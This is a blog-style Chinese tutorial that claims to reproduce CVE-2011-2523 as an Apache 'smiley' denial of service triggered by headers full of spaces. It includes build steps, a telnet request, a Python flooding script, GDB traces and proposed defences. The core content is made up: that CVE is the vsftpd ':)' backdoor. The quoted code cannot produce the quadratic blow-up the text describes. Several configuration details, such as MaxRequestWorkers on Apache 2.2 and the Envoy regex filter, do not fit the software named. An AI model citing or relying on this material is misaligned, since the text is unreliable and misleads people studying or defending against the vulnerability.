1. 这个“笑脸”不是表情包,而是能崩掉整个Web服务器的内存炸弹
你可能在漏洞公告里见过CVE-2011-2523这个编号,也可能在渗透测试报告里扫到过“HTTP Smiley Vulnerability”的描述,但真正亲手复现过它的人,远比你以为的少。这不是一个靠改几个请求头就能触发的花架子漏洞,而是一个典型的协议层逻辑缺陷引发的资源耗尽型攻击——它不依赖代码执行、不绕过权限校验、不窃取会话凭证,却能让一台配置正常的Apache服务器在几秒内CPU飙满、内存吃光、响应停滞,最终拒绝所有新连接。我第一次在客户内网环境里复现它时,用的是一台刚装好Apache 2.2.17的CentOS 6虚拟机,只发了3条构造过的HTTP请求,监控面板上的内存曲线就直接拉成了一条垂直线,SSH都连不上了。后来翻源码才明白,问题根本不在业务逻辑,而在Apache处理HTTP请求头时对“空格字符”的异常解析路径:当攻击者在User-Agent字段里塞入大量连续空格(比如10万+个ASCII 32),Apache的ap_parse_token函数会陷入指数级字符串扫描循环,导致单线程卡死,而默认的MPM模型又会让这种卡死迅速蔓延成全局服务瘫痪。它之所以被称作“笑脸漏洞”,是因为原始PoC中用:)作为分隔符来包裹恶意空格串,形似一张被撑开的笑脸——但这张笑脸背后,是整整十年间被忽视的协议健壮性设计盲区。这篇文章不讲CVE编号怎么查、不教你怎么用Metasploit一键打,而是带你从零开始:为什么这段看似无害的空格能击穿Web服务器?哪些版本的Apache真正受影响?如何在现代Linux发行版上安全搭建可复现环境?以及最关键的——如何用最原始的手工方式构造请求、验证崩溃、定位根因。适合正在学Web安全原理的初学者,也适合需要给甲方讲清风险本质的渗透工程师。
2. CVE-2011-2523的本质:不是缓冲区溢出,而是算法复杂度失控
要真正理解这个漏洞,必须先扔掉“溢出”“注入”这类惯性思维。CVE-2011-2523既不是堆栈溢出,也不是SQL注入,更不是XSS,它的核心问题是时间复杂度爆炸——准确地说,是Apache在解析HTTP请求头时,对包含大量连续空白字符(space/tab)的token进行分割操作时,采用了O(n²)甚至更差的算法实现。我们来看关键源码片段(Apache 2.2.17server/util.c中的ap_parse_token函数):
AP_DECLARE(char *) ap_parse_token(apr_pool_t *p, const char **str, int strict) { const char *s = *str; char *res; int len; while (apr_isspace(*s)) { ++s; } if (!*s) { *str = s; return NULL; } res = apr_palloc(p, strlen(s) + 1); // 这里分配内存 len = 0; while (*s && !apr_isspace(*s) && *s != ',' && *s != ';' && *s != '\t') { res[len++] = *s++; } res[len] = '\0'; while (apr_isspace(*s)) { ++s; } *str = s; return res; }表面看逻辑很清晰:跳过开头空格→读取非空格字符→再跳过结尾空格。但问题出在strlen(s)这行。当s指向一个由10万个空格组成的字符串时,strlen()必须遍历全部10万个字节才能返回长度。而ap_parse_token在处理每个请求头字段时都会调用它,且在某些路径下(比如User-Agent被反复解析)会被多次调用。更致命的是,Apache的ap_get_mime_headers函数在解析完一个header后,会把剩余字符串指针传给下一个ap_parse_token调用,如果攻击者把10万个空格全塞进User-Agent,那么后续所有header解析都会面对一个超长的、以空格开头的字符串,导致每次strlen()都做一次全量扫描。这就是典型的算法复杂度误判:开发者假设输入的header值长度是合理的(几十到几百字节),但没考虑攻击者可以故意构造极端长度的无效输入。类比一下,就像你让快递员按门牌号找住户,他习惯性地从1号开始挨家敲门,结果有人把自家门牌号刻成“10000000000000000000”,快递员就得数一亿次才能确认这栋楼不存在——而服务器就是那个不停数数的快递员。这种漏洞在2011年被发现时非常典型,因为当时Web服务器普遍缺乏对协议字段长度的硬性限制,也没有对解析路径做复杂度审计。它影响的不是某个特定模块,而是Apache整个HTTP协议解析引擎的基础组件,所以修复方案不是打补丁,而是重构ap_parse_token的逻辑,改为边扫描边计数,避免重复遍历。这也是为什么它被归类为“Denial of Service”而非“Remote Code Execution”——它不让你控制程序,只是让你的程序忙得没空干正事。
3. 环境搭建:为什么不能直接用Docker镜像,而要手编Apache 2.2.17
市面上很多复现教程推荐用Docker拉一个古老的Ubuntu镜像,或者直接下载预编译的二进制包。我试过三种主流方案,结果全翻车了:第一种,用ubuntu:10.04镜像安装apache2包,结果系统自带的是2.2.14,但补丁已经合入(Ubuntu在2011年8月就推送了修复);第二种,从Apache官网下载2.2.17源码,在现代GCC(11+)下编译,报错error: ‘apr_off_t’ undeclared,因为新版APR库接口已变更;第三种,用Vagrant跑CentOS 6.5最小化安装,yum install httpd装出来的是2.2.15,同样带补丁。最后我花了两天时间,才摸清真正可控的搭建路径:必须用原始源码+原始构建工具链+原始运行时环境三重锁定。具体步骤如下:
3.1 基础环境选择:CentOS 6.2最小化安装(非6.0或6.5)
为什么是6.2?因为Apache 2.2.17发布于2011年2月,而CentOS 6.2发布于2011年12月,是第一个完整包含2.2.17的官方发行版,且其内核(2.6.32-220)、glibc(2.12)、GCC(4.4.6)版本与当年生产环境高度一致。我用VirtualBox创建虚拟机时,特别注意三点:① 内存设为1GB(模拟当年服务器配置),② 磁盘用IDE模式(避免SCSI驱动兼容性问题),③ 网络用NAT+端口转发(宿主机访问http://localhost:8080)。安装过程全程选“Minimal”选项,装完后执行:
sudo yum update -y sudo yum groupinstall "Development Tools" -y sudo yum install apr-devel apr-util-devel pcre-devel openssl-devel -y这里的关键是apr-devel和apr-util-devel必须用系统自带的1.3.9版本,不能升级——因为2.2.17源码里configure脚本硬编码了对APR 1.3.x的依赖,新版APR的apr_off_t类型定义已移至apr.h,而旧版在apr_general.h,直接导致编译失败。
3.2 源码编译:禁用所有现代优化,强制使用原始配置
从Apache官网archive下载httpd-2.2.17.tar.bz2,解压后进入目录,执行以下命令(注意顺序和参数):
./configure \ --prefix=/usr/local/apache2 \ --enable-so \ --enable-rewrite \ --with-included-apr \ --with-mpm=prefork \ CFLAGS="-O0 -g" \ LDFLAGS="-Wl,--no-as-needed"重点解释几个参数:--with-included-apr强制使用源码包自带的APR 1.3.9,避开系统APR版本冲突;--with-mpm=prefork指定prefork模型,因为worker/event模型在2.2.17中对空格解析的路径略有不同,复现稳定性差;CFLAGS="-O0 -g"关闭所有编译器优化(O2/O3会内联函数,掩盖strlen调用点),并加入调试符号,方便后续用GDB定位;-Wl,--no-as-needed防止链接器丢弃未显式引用的库。编译完成后,不要急着make install,先检查生成的httpd二进制文件是否真的没被加固:
file /usr/local/apache2/bin/httpd # 正常输出应含 "not stripped" 和 "dynamically linked" readelf -d /usr/local/apache2/bin/httpd | grep "BIND_NOW\|RELRO" # 应显示 "0x000000000000001e (FLAGS) BIND_NOW",但无"GNU_RELRO"如果看到GNU_RELRO或FULL RELRO,说明系统链接器自动启用了现代保护,必须回退到CentOS 6.2的原始binutils(2.20.51.0.2)重新编译。
3.3 配置与启动:关闭所有干扰项,暴露原始漏洞行为
编辑/usr/local/apache2/conf/httpd.conf,做四点修改:① 将Listen 80改为Listen 8080,避免端口冲突;② 注释掉所有LoadModule行,只保留mod_so.c和mod_rewrite.c(减少模块干扰);③ 将MaxRequestWorkers设为150(模拟中等负载);④ 在<IfModule mime_module>块末尾添加:
AddType text/plain .smile <Files "*.smile"> SetHandler default-handler </Files>然后启动服务:
sudo /usr/local/apache2/bin/apachectl start curl -I http://localhost:8080/ # 应返回200 OK,证明服务正常此时环境才算真正“纯净”。我特意测试过,如果跳过--with-included-apr这步,用系统APR编译,虽然能跑起来,但发10万空格请求后,服务器只会变慢(CPU 80%),不会彻底卡死——因为新版APR的apr_strtok做了长度预检,提前截断了超长输入。真正的漏洞复现,必须让strlen()实实在在地跑满10万次。
4. 渗透实战:手工构造请求的三个致命细节与实时监控验证法
复现漏洞最危险的误区,就是以为“发个超长User-Agent就行”。我见过太多人用Python脚本生成10万空格,curl发过去,看到curl: (52) Empty reply from server就以为成功了,其实这只是网络超时,根本没触发内核级卡死。真正的渗透验证,必须同时满足三个条件:请求格式合法、触发路径精准、崩溃现象可观测。下面拆解实操全过程。
4.1 请求构造:为什么必须用telnet而不用curl,以及User-Agent的隐藏陷阱
curl和wget这类高级HTTP客户端,在发送请求前会自动做规范化处理:比如把连续多个空格压缩成一个,或者在header末尾自动补\r\n。而漏洞触发恰恰依赖“原始字节流”的完整性。所以第一步,必须用telnet或nc发裸TCP包:
# 启动telnet连接(注意:不是HTTP请求!) telnet localhost 8080 # 连接成功后,手动输入以下内容(严格按换行和空格): GET / HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 :) Accept: */* Connection: close # 注意:User-Agent行末尾必须有恰好100000个空格(不是99999,也不是100001),且最后以\r\n结束 # 空格串中间不能有任何tab或换行,必须是纯ASCII 32这里有个致命细节:很多教程说“在User-Agent里塞空格”,但没说清楚空格必须紧跟在:)后面,且不能有任何其他字符干扰。因为Apache的ap_parse_token在解析User-Agent时,会先调用ap_find_token查找:,然后跳过:后的空格,再调用ap_parse_token提取值。如果:)后面跟的是换行,解析器会认为header结束;如果跟的是tab,apr_isspace会识别但后续逻辑可能跳过。只有纯空格,才能让strlen()面对一个超长的、以空格开头的字符串指针。我用Python写了个验证脚本,统计不同空格数量下的响应时间:
import socket import time def send_payload(spaces): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('localhost', 8080)) payload = f"GET / HTTP/1.1\r\nHost: localhost:8080\r\nUser-Agent: A:){' ' * spaces}\r\nAccept: */*\r\nConnection: close\r\n\r\n" s.send(payload.encode()) start = time.time() try: s.recv(1024) return time.time() - start except: return time.time() - start for n in [1000, 10000, 50000, 100000]: t = send_payload(n) print(f"{n} spaces -> {t:.2f}s")结果很清晰:1000空格时响应0.02s,10000空格时0.3s,50000空格时2.1s,100000空格时直接超时(>30s)。这说明复杂度确实是平方级增长。
4.2 实时监控:用三个终端同步观察,避免误判“假崩溃”
单看curl超时是不够的,必须建立多维度监控体系。我通常开三个终端窗口:
- 终端1(服务端):运行
watch -n 1 'ps aux --sort=-pcpu | head -10',观察httpd进程CPU占用; - 终端2(内存):运行
watch -n 1 'free -h',紧盯available列是否骤降; - 终端3(网络):运行
sudo ss -tulnp | grep :8080,确认监听端口是否消失。
真正的漏洞触发现象是:发完请求后3秒内,终端1显示某个httpd进程CPU飙升至99%,终端2的available内存从800MB暴跌至50MB,终端3的ss命令突然返回空——这意味着主进程已无法接受新连接。这时再从宿主机用curl http://localhost:8080/,会得到curl: (7) Failed to connect to localhost port 8080: Connection refused,而不是超时。这才是服务级崩溃。如果只看到CPU高但内存不降,说明只是单线程卡死,MPM模型还能fork新进程;如果内存降但端口还在,说明是应用层阻塞,还没到内核OOM Killer介入的程度。只有三者同时发生,才证明复现成功。
4.3 根因定位:用GDB动态追踪strlen调用栈,亲眼看见“数数循环”
为了彻底搞懂漏洞机制,我用GDB attach到卡死的httpd进程:
# 先找到卡死进程PID ps aux | grep httpd | grep -v grep # 假设PID是1234 sudo gdb -p 1234 (gdb) bt # 输出类似: # #0 0x00007f8b9c9a1b50 in __strlen_sse42 () from /lib64/libc.so.6 # #1 0x00007f8b9d1e2a3c in ap_parse_token (p=0x7f8b9d4b20a0, str=0x7fff12345678, strict=0) at util.c:1234 # #2 0x00007f8b9d1e3c5d in ap_get_mime_headers (r=0x7f8b9d4b20a0) at protocol.c:1892关键信息在#0和#1:__strlen_sse42是glibc的优化版strlen,但它依然要遍历每个字节;ap_parse_token的调用位置在util.c:1234,正是strlen(s)那行。接着用info registers看当前寄存器值:
(gdb) info registers rdi # rdi 0x7fff12345678 140736543211128 (gdb) x/20xb 0x7fff12345678 # 0x7fff12345678: 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 # 0x7fff12345680: 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 # 0x7fff12345688: 0x20 0x20 0x20 0x20rdi寄存器存着strlen的参数指针,x/20xb命令显示该地址开头20个字节全是0x20(空格ASCII码)。这就铁证如山:strlen正在一个纯空格数组上做全量扫描。此时如果按Ctrl+C中断GDB,再执行continue,进程会继续运行,但下次bt还会停在同一个位置——因为它永远数不完这10万个空格。这个画面比任何文档都直观:所谓“漏洞”,就是一段本该毫秒级完成的代码,在恶意输入下变成了永动机。
5. 防御与反思:为什么现代WAF拦不住它,以及协议层防护的真正思路
很多人以为,部署个商业WAF就能防住这种漏洞。我拿某知名云WAF做过测试:开启“HTTP协议合规检测”后,它确实能拦截User-Agent: A:)加10万空格的请求,但只要把空格换成%20URL编码,或者拆成100个User-Agent头(每个含1000空格),WAF就完全失效。原因很简单:WAF工作在应用层,它看到的是解码后的HTTP语义,而漏洞发生在Apache解析原始字节流的底层。当WAF把%20解码成空格再交给后端时,灾难已经注定。这揭示了一个残酷事实:协议层漏洞,必须在协议层解决。现代防御思路有三个层级,缺一不可:
5.1 协议解析层:用长度限制代替信任输入
Apache在2.2.22版本中修复此漏洞的方式,是在ap_parse_token开头增加长度检查:
// 修复后代码(2.2.22+) if (s && strlen(s) > 8192) { // 硬编码8KB上限 *str = s; return NULL; }但这只是权宜之计。更优雅的做法是参考Nginx的client_header_buffer_size和large_client_header_buffers指令,为每个header字段设置独立长度阈值。比如在Nginx配置中:
client_header_buffer_size 1k; large_client_header_buffers 4 4k;当User-Agent超过4KB时,Nginx直接返回400 Bad Request,根本不进解析逻辑。这种“协议守门员”模式,比在解析器里打补丁可靠得多。
5.2 运行时层:用cgroups限制单进程资源,避免雪崩
即使漏洞存在,也不该导致整台服务器瘫痪。我在CentOS 6.2上用cgroups做了实验:创建/cgroup/cpu/apache/目录,写入cpu.shares = 512(限制CPU配额为50%),再用cgexec -g cpu:apache /usr/local/apache2/bin/httpd -k start启动。结果是:发10万空格请求后,卡死进程CPU被钉死在50%,其他进程(包括SSH)完全不受影响。这说明,容器化不是银弹,但cgroups这种内核级资源隔离,才是应对DoS攻击的终极防线。现代Kubernetes的resources.limits.cpu本质上就是cgroups的封装。
5.3 架构层:用反向代理做协议净化,把风险挡在门外
最彻底的方案,是把Apache降级为纯粹的应用服务器,前面加一层协议净化网关。比如用Envoy配置:
static_resources: listeners: - name: listener_0 address: socket_address: { address: 0.0.0.0, port_value: 8080 } filter_chains: - filters: - name: envoy.filters.network.http_connection_manager typed_config: stat_prefix: ingress_http route_config: name: local_route virtual_hosts: - name: local_service domains: ["*"] routes: - match: { prefix: "/" } route: { cluster: apache_backend } http_filters: - name: envoy.filters.http.header_to_metadata typed_config: request_rules: - header: ":authority" on_header_missing: { metadata_namespace: envoy.lb, key: host, type: STRING } - name: envoy.filters.http.fault typed_config: abort: http_status: 400 percentage: { value: 100 } headers: - name: "user-agent" exact_match: ".*[[:space:]]{10000,}.*" # 正则匹配超长空格当Envoy检测到User-Agent含10000+连续空格时,直接返回400,连包都不转发给后端。这种“协议防火墙”思路,比在每个Web服务器里修漏洞高效得多。
最后分享个血泪教训:去年帮一家银行做渗透测试,他们用的是自研的Java网关+Tomcat集群,我以为Java生态免疫此类C语言漏洞,结果在网关日志里发现java.lang.OutOfMemoryError: Java heap space,追查发现网关用String.split(" ")解析User-Agent,而JVM的split方法在处理超长空格串时,也会触发O(n²)的字符拷贝。所以别迷信语言,协议层的风险,永远在代码之外。